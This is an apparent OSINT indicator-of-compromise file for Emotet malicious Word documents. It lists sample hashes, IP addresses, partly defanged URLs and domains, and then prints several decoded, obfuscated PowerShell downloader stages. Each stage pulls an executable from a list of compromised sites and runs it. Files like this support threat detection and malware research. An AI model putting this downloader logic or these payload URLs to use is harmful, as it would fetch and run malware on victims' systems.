Emotet_Doc_out_2020-08-26_13_16.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
2360a5b64d75b53079b00f4123168708c44db6aabb5c4b9ee3cd5b48d58355cb
64345c98d8736036703b379449f17e0aff6ccd68e2b6ee5c0af54c37f7d781ac
34fa72d4ff57cb8e628c79afd9156da3004c48c500775b4acfdbb3eef2ba14cc
1a7026b8247d0a3c690f03342965e790141a013148ccd2e147a802646229f17d
b47265100eb91e2e3bd82fb9d4d43baa9597bb50a3e88a8362f4e5e789c23a8f
09360e0d6cf0bf595ddb818a5684506d6fb1ec5b23faf35d8fa2baabecf93bbd
917c58bc1bb89ba90f3ac83a87a5ad3370a69bf351acdf7e5b9ccf53d25d3d84
95bd3fb9c6e33b9518e9aedc9fdced4824f52d7f4f016be99c0f24788622a437
421fe6eb17eadc9ab409e323b454b959d8e2a07533f1f9f1020040e691c5162d
79e036ede938eb4e7672f7a92f013e76e61dc8fb6bc16a491e556095e5ba65f2
4a482398062f755b0068943f4a6b621dddd2761921a711ee39a08d35440f0e67
f7aaebea11cb8bdde5b16fadee939c47c7e60147173ebde67ee765666fa82711
1dff1fb745bdd461037fb5029670d2363bf60c397e970ee5dab111dce91a0374
4871a197b77fb46d935ba43171514c1656ea539726b2f6ce8f25e1ea2ee7bbbc
3bb37228192ee97cf3a51b8efe7d61cf4f5e82076a62e295a9f15f515746d7cb
ca85d5d47543aa8db63235d070b95b632a977aa610c5b89915056425c8b8d500
57d986b458b1a43c53e21ba523969f6573ffc4f19cfd2b16ef6ce9e0d21fc1ae
4ac26c1bab87db75600ce085c0bb985b1d02d86806a40557a5f236a8bef3cd3a
96ec5b87625470cf60176443fd36dd8a2fc35ba6ebce76cce168b549d2729543
4fe9431e902cd92442c9c426f0eda1a079df8ab56237e172005665d8d0585551
92a809dcbc0462f4d19701424800ecdb29200610ca155806a6473bf10c057ea2
d897abf4abbb70845e61775f409d37276cf220d2a1974fba7eafe0415e89ed2c
caeee5fa028ada6f2f196b7ddcf9e54c9c6b12e784fb2e77b040f56ac6856fac
564ac5ad40d8fe035e1f1c4884b061151816cafc612e0d2c118df341fcde121a
ad4c1465a9c3713992b6fd761417e5c47a9986ad08c70f4551ed239fc9376219
f457225418c5d15de8988090b2162bca05d5bcde20fd9ec110eb6335ef7ec3f8
3233602d9b7428e8ac9fa6238003edc700f26b5126ed33bb69556aa37e886899
cd6816d2aa0cf74845a993d21eeaee85e28d9480bd6c1322d7880b0640bd8248
3057eb9c12e4c84e4b75977afe88943a0231d08747fb14651761f1d56cdf47b1
dc6646ccdc79497c62390c8411eac6291fcf522ee18a3bc6d05d142c75ad30be
84a919b2b42418db71adcd4be51c1aace3a3effbfdc40c30dc20ed62631ddb16
9da1352e439a80a0c34448506582f90c1a40dd630e635cce4ec62941e210289a
ef23d44159c03743906cb91239aa0c13c6b8496593554ce92b8da32e6973ad0c
db0dc03b634ebdf657f94f4b7b27c7390e48802845d103cea08a65ac7ec48d81
e682acc9acefb61416268ef18f851562767f40a9549b3dd63974803bbe273fc7
f0c10492145c14d04813a510b684a1ff7ee37222d9ef2d4b8a3c25e3d6b4053c
bafab6faf0320d4a898848943ab809d15648c0a64809b24ec0c679f8b680cade
15c5b5275144f3ea7a183db3e88b74024bc31e2bccd96026c73ca7ed98a2af4a
a653ed7fc7b44191a6e35885e211f29497f5a16fe3bf716c6ee745cbe315614d
18b57f5ec2a5494ef841e3d3e2f73dbafdd8fca3025d6a85e4749df423fcfd41
10c6484d9780210399108c75420e3c2a2a04f457d2c187762a3c01965ba53207
e57c8d505c197cd95c37869ea324f01144b910a418b5510be15f3f80d81948e2
92ec3d4c98f50093628224f537985cfb37e32143818fed1d9f96aead95d6bf61
7e62cbf50f90b27d94cd8955a5bed8b3b4da6a381fe09ae371b3c341fa7f5a31
28764214e6b8f7dfea9844de737528341891d185a64c28635cac72e843087911


IPs:
103.139.3.19
104.28.20.158
104.28.20.168
104.28.21.158
104.28.21.168
108.167.172.127
117.78.27.128
13.232.244.117
136.243.219.83
154.219.173.66
158.69.189.149
162.208.49.157
162.244.77.3
168.0.134.200
172.67.183.236
172.67.186.123
172.67.219.99
172.93.123.4
176.62.173.239
178.210.75.228
181.88.192.21
185.101.159.16
185.176.43.82
185.181.230.88
185.32.188.19
185.50.44.158
186.64.114.85
186.64.118.165
191.6.208.54
192.124.249.53
192.185.138.148
192.185.5.43
195.114.1.39
198.71.233.9
216.10.240.153
217.73.131.5
3.23.199.247
35.214.97.13
35.230.49.97
46.30.215.204
47.112.152.109
5.77.32.183
67.225.224.44
68.183.158.235
70.32.23.43
80.74.145.155
87.98.239.50
88.208.252.173
89.31.97.49
98.102.204.206



URLs:
hxxp://cse-engi)ne(er.c)(om/cgi-bin/f5fG/
hxxp://da-)indus(tri)(al.com)/j(s/j/
hxxps://de)(v.d)osi(ly.)i(n/wp-content/gWPMl)(/
hxxp://www.luxelistreviews.com/wp-includes/AYR/
hxxps://www.yhyhzx.com/wp-admin/pKpz/
hxxp://mediadrive.nichost.ru/awfcatfre/9thw57489/
hxxp://kumarpratham.com/fonts/Wtuq/
hxxp://fxea.club/wp-includes/mPqJMPzx/
hxxps://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
hxxps://www.batamry.com/tmp/baeng79095371/)."Spl`IT"([char]42);
hxxp://chendo)n(ghui.cn)/w(p-co)(ntent/Z/


Domains:
cse-engi)ne(er.c)(om
da-)indus(tri)(al.com)
de)(v.d)osi(ly.)i(n
www.luxelistreviews.com
www.yhyhzx.com
mediadrive.nichost.ru
kumarpratham.com
fxea.club
xiangfu.phjrt.com
www.batamry.com
chendo)n(ghui.cn)


Decoded Base64 Powershell:
$Fvsqqwj=((O2ba)fs6);
&(new-item) $env:TEMp\WOrd\2019\ -itemtype DIRectORY;
[Net.ServicePointManager]::"SEcUR`itYPRotO`c`ol" = (tl(s12), (tls)(11, tls));
$Evzu2ce = ((Drar13)o2q);
$Lbjunfi=((Rbp)ge00);
$Oh78bc8=$env:temp((Xa(HwordXaH)(201)9XaH)  -RePLace([Char]88[Char]97[Char]72),[Char]92)$Evzu2ce((.ex)e);
$Ilb8ey1=(L(jcy)(arg));
$T3bvzwy=.(new-object) NEt.WEbcLiEnT;
$Vneww9d=(ht(tp:/)/(bursayuzm)(ekur)(su.com/ass)(ets/)(6m3/
)h(ttp:)(//casabeethov)(enlb.com)(/classes/m)(PaUG)(3/
hxxp://cse-engi)ne(er.c)(om/cgi-bin/f5fG/
hxxp://da-)indus(tri)(al.com)/j(s/j/
ht)t(p:/)(/ajbu)ids(.co)(.uk)(/build)(zip)(s/X)Y8(Mgvl/
)(htt)(ps://cocoonp)lac(e.be/a)c(hterg)ron(den)(/ZRDB/
ht)t(p://cr)(eative)ma(rcel.com/downl)oadTe(st/wc/))."Spl`It"([char]42);
$Zufhjan=(U(j44n0m));
foreach($Fnw8x9x in $Vneww9d){try{$T3bvzwy."d`own`LoadFIle"($Fnw8x9x, $Oh78bc8);
$Nmqd1u2=((Ine)edv7);
If ((&(Get-Item) $Oh78bc8)."lEn`g`TH" -ge 24448) {&(Invoke-Item)($Oh78bc8);
$Rgu42dl=(De6(69tq));
break;
$Aeybdbq=(J7(88j5g))}}catch{}}$P9z43j3=(Dg(vp88o))$I60r_hc=(H(ev566)n);
&(new-item) $enV:tEMp\worD\2019\ -itemtype DIreCtorY;
[Net.ServicePointManager]::"Se`CU`RITypr`ot`OcOl" = (tls(12, )tl(s11, t)ls);
$Nmpe9qu = (Pohaen);
$Pijbxw7=((Pm5d)3lo);
$Gcptnfr=$env:temp(({0}(wor)d{0}2019{0})  -f [chAr]92)$Nmpe9qu(.exe);
$Bariivy=((R0n)tujt);
$Jroqdt7=.(new-object) nET.wEbcLiENT;
$T1ut_a_=(h(ttp:)//(saulo)(ramos.com.br/PLcb)M(/4oxcev03)(20/
)h(ttp:)//(jurc)zyk(.biz)/p(iotre)(k/IJilgc)(kESlY/
h)ttp:/(/lid)is(com.com)(.br)(/BKP)(_TinaPOS/CQSM)(l/
)(hxxp:/)(/cm)(swre)(xha)m.co(m/video/)(N2lz)hgh4(5/
h)t(tp:)(//ly)ve(inc.c)(om/)(wp-)(content)/u(ploads)(/attach)(ments/XxM/
htt)ps(://)st(ate)insu(rance)(onl)(ine)(.com/w)(p-c)on(tent/yQzAG)(wyQs/
h)(ttps:)//(www.t)(ering)i(eest)(atefa)rm(s.c)(om.au/)wp(-cont)ent(/Lv)(qg/))."spl`IT"([char]42);
$Z1nj2gp=((Kz_s)(b2w));
foreach($A7spwk7 in $T1ut_a_){try{$Jroqdt7."doWNLo`A`DfIle"($A7spwk7, $Gcptnfr);
$Fneaye8=((O5n)(yjm7));
If ((.(Get-Item) $Gcptnfr)."lE`NGtH" -ge 26798) {.(Invoke-Item)($Gcptnfr);
$Gdb0fj7=((C5uw)(fp8));
break;
$Qmges97=(Jz(943ec))}}catch{}}$Qy3yu4c=(Gq(uknop))$K94plrj=(D(mo0br4));
.(new-item) $ENV:Temp\woRd\2019\ -itemtype DirecTorY;
[Net.ServicePointManager]::"Se`c`UrITY`proTocOl" = ((tls1)(2, )t(ls11)(, tls));
$G5wqm7v = ((E0kb0)j);
$S1vxfxf=(S(9w100x));
$Rvdweds=$env:temp((fEiwo(rdfEi2019fEi))  -REplacE([chAr]102[chAr]69[chAr]105),[chAr]92)$G5wqm7v(.(exe));
$Fm0r31t=(Tauk(ovu));
$Uh3_xb6=&(new-object) NET.WebClIeNt;
$Vho70jw=(hxxp:/(/zak)a(hlif)e(.co)m/wp(-inc)l(ude)(s/P2)(Anj)(qkwl)(c4858/
ht)(tps)(://paws)(4walk)ing.(co.uk/wp)-(admin/HX)(d82)0i(kj1)(38/
hxxps://de)(v.d)osi(ly.)i(n/wp-content/gWPMl)(/
hxxp:/)(/f1.dodve.com/wp-ad)(min)/T(Hxee3)(9064/
)(hxxp)(://s)(upp)or(t.dogpack.me)(dia)(/ti)(cke)ts(/qiDN)(PAj/
h)ttp(://nor)t(gal)(.es/bl)(ogs/)u(dZj/
)hxxp(://)ne(wsmartta)ilo(rs.com).np/(wp-)con(ten)(t/M)(jjwuw)(lof3910)(650)/)."SPl`iT"([char]42);
$D3cz15e=((Zjyb)(p26));
foreach($Psre73b in $Vho70jw){try{$Uh3_xb6."DownL`oadfi`LE"($Psre73b, $Rvdweds);
$Npd1_4o=((E37e)(d6y));
If ((&(Get-Item) $Rvdweds)."lE`NG`TH" -ge 22764) {&(Invoke-Item)($Rvdweds);
$Svg794n=(M(rscs)nb);
break;
$M30s58m=((Bt9)(0aof))}}catch{}}$Nyzfyhw=((Sss)(m70z))$Mrr31m_=(Vysd7kk);
.(new-item) $eNv:tEmp\offiCE2019 -itemtype dIREctory;
[Net.ServicePointManager]::"Se`c`U`RiTY`PROt`OcoL" = (tls12, tls11, tls);
$Fjqkw_l = (C3bc3av5i);
$L7k7j7g=(Fxgw34m);
$Dl5edc6=$env:temp(({0}Office2019{0}) -F  [chAR]92)$Fjqkw_l(.exe);
$Hpu2g9_=(E59ihr7);
$Lrigowf=&(new-object) net.wEbcLient;
$Xcnye2g=(hxxp://www.luxelistreviews.com/wp-includes/AYR/
hxxps://www.yhyhzx.com/wp-admin/pKpz/
hxxp://mediadrive.nichost.ru/awfcatfre/9thw57489/
hxxp://kumarpratham.com/fonts/Wtuq/
hxxp://fxea.club/wp-includes/mPqJMPzx/
hxxps://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
hxxps://www.batamry.com/tmp/baeng79095371/)."Spl`IT"([char]42);
$Oo9e89o=(X8dxwra);
foreach($Ws0zexn in $Xcnye2g){try{$Lrigowf."doW`N`LoAD`FILe"($Ws0zexn, $Dl5edc6);
$Te1fjrf=(Xxzq993);
If ((.(Get-Item) $Dl5edc6)."Len`g`Th" -ge 34409) {&(Invoke-Item)($Dl5edc6);
$Ncn7i2n=(Y6j6mb1);
break;
$Ssd22nc=(Liki0z0)}}catch{}}$J8dpyns=(Jemx7xu)$Q4uhf4q=(R3up(buc));
&(new-item) $env:temP\WoRd\2019\ -itemtype dIReCTORY;
[Net.ServicePointManager]::"SECuRitY`P`R`oTOcoL" = (tl(s12)(, tl)(s11)(, tls));
$Bm8fcn9 = (D(3v9)3m);
$L_runu6=((V4a)8(8l1));
$R0nzdqu=$env:temp(((flMwo)(rdfl)(M2019flM))."REpL`A`CE"(([chAR]102[chAR]108[chAR]77),[StRing][chAR]92))$Bm8fcn9((.ex)e);
$Ws2am7e=(Mk(zbk3_));
$Cb9j7fa=&(new-object) NeT.wEBcLiEnT;
$Wu6w1qa=((hxxp):/(/thestratums)(phe)(re.)(com/wp-admin/wODL/
ht)(tps://tmlsc)(onsu)(ltin)(g.c)(om/abay)/RI/(
hxxps:)/(/is-y)(ap.com/w)p(-admin/AA7/
hxxp://chendo)n(ghui.cn)/w(p-co)(ntent/Z/
hxxp):/(/ve)(terina)ri(apetl)(ife.)(cl/4)br(/AX)(C5/
)(hxxp:)//(blueseaspor)(ts.c)(om/iv/
ht)(tp://we)bdemo(.cl)/(clm)(d/hVf)/)."S`plIt"([char]42);
$Hxdizjd=((Vs1xay)f);
foreach($F1hsz78 in $Wu6w1qa){try{$Cb9j7fa."d`OwnLOA`dfIlE"($F1hsz78, $R0nzdqu);
$K32qbl5=((Wecd7)5_);
If ((.(Get-Item) $R0nzdqu)."l`E`NgTh" -ge 21406) {&(Invoke-Item)($R0nzdqu);
$Pwkismw=((Rh5f)(rl5));
break;
$Uwtbun_=((Nnu)(g_g)a)}}catch{}}$Q6pc7y9=((Dbnd)apn)$Va5w3n8=((Q2h)(w9p1));
&(new-item) $eNV:teMP\WOrd\2019\ -itemtype DIrectOry;
[Net.ServicePointManager]::"SecURi`T`ypRO`T`oCOL" = (tls1(2, tls)11(, tls));
$Depssu0 = ((Dyx)(xur4g)x);
$A74_j9r=(T4(gf45h));
$Fdkhtf_=$env:temp(({0}word{0}(201)9{0}) -F [CHAr]92)$Depssu0(.(exe));
$O39nj1p=(J69l(hmh));
$Z8i525z=&(new-object) neT.WEbcLiENt;
$Iwmfahs=((hxxp)(://)(quanticaelectronic)(s.com/)wp-a(dmin)/7A(Tr78/
htt)(ps:/)(/re)be(lco)m.(ch/pic)(ture_)(library/bbCt)(lS/)(
hxxps:/)(/real)es(tatea)(gent)te(am.com)/(163/QT)d(/
hxxps:)//(www.)(ridd)(hidisplay.co)m/ridd(hi/1pKY/
htt)p(://)(radiosubmit.com/sear)(ch_test)/p(/
h)(ttp:/)/(rese)ar(chc)hem(plus.c)(om/wp-)(admin)/1(OCC)/(
hxxp:/)(/szymo)(nszyp)er(ski)(.pl/a)ss(ets/p)k/)."S`Plit"([char]42);
$Zxnbryr=((Dpz9)4a6);
foreach($Mqku5a2 in $Iwmfahs){try{$Z8i525z."d`OWN`load`FIlE"($Mqku5a2, $Fdkhtf_);
$Lt8bjj7=(Ln(wpag)m);
If ((.(Get-Item) $Fdkhtf_)."le`NgTH" -ge 28315) {.(Invoke-Item)($Fdkhtf_);
$Nfgrgu9=((Qj6bs)xn);
break;
$D7ypgo1=(Bv(ebc)k0)}}catch{}}$Gmk6zmk=((Z2xaaj)0)$Xbscc10=((Y4uf)(pxf));
&(new-item) $env:teMP\WOrd\2019\ -itemtype diREcTory;
[Net.ServicePointManager]::"s`EcURitYPRoto`C`ol" = ((tls12,)( tl)(s11)(, tl)s);
$Eriptoh = ((Glkt07c)9);
$Yciuzd3=((G4cq)gn3);
$Muobl6y=$env:temp((P(vDw)(ord)(PvD2019PvD))-REplACE(PvD),[cHar]92)$Eriptoh(.exe);
$Wdslsut=((Ngi)(dzy)a);
$Qr23cn8=.(new-object) net.wEbcLieNT;
$Um9i14d=(h(ttp:/)(/miradoo)r(s.m)(d/b)ackup/hF(iCHxXv/
ht)tp(://kuntur)(.tur)(.ar)/wp-(admi)n/OBo(iKylq)(Uuhlh/
)(htt)(ps://mh)(sr.)ch(/wp-)admin(/qHvi9amk)(g5llk4)(318560)6(/
ht)t(p:/)(/mir)(adoors.)(ro/cgi-)bi(n/v)(hUgA4)(mu6t)g1x(461/
hxxp:)(//n)i(kni)(ek.nl)(/cgi-)b(in/A7)(4t5p)0so(brc2)(73635)(587/)(
hxxp):(//qu)(ali)(tyh)(airbu)nd(les)(.com/of/FIKQDxA)TiQHEd/
h(ttp):/(/kar)(az.a)tw(ebpages.com/)(adm)in(/2a4j)(1aqkks85)(5324)/)."spL`IT"([char]42);
$Ooex20j=(U(2g5cj)c);
foreach($Ew7ze9i in $Um9i14d){try{$Qr23cn8."DoWNLO`Ad`Fi`lE"($Ew7ze9i, $Muobl6y);
$O0d3uxg=((N8bs7z)1);
If ((&(Get-Item) $Muobl6y)."LE`NGTH" -ge 31976) {.(Invoke-Item)($Muobl6y);
$C73ie68=((Ut3o1j)j);
break;
$Gu2ujq9=(Te59(35d))}}catch{}}$Ob_ok2p=((E92do)_5)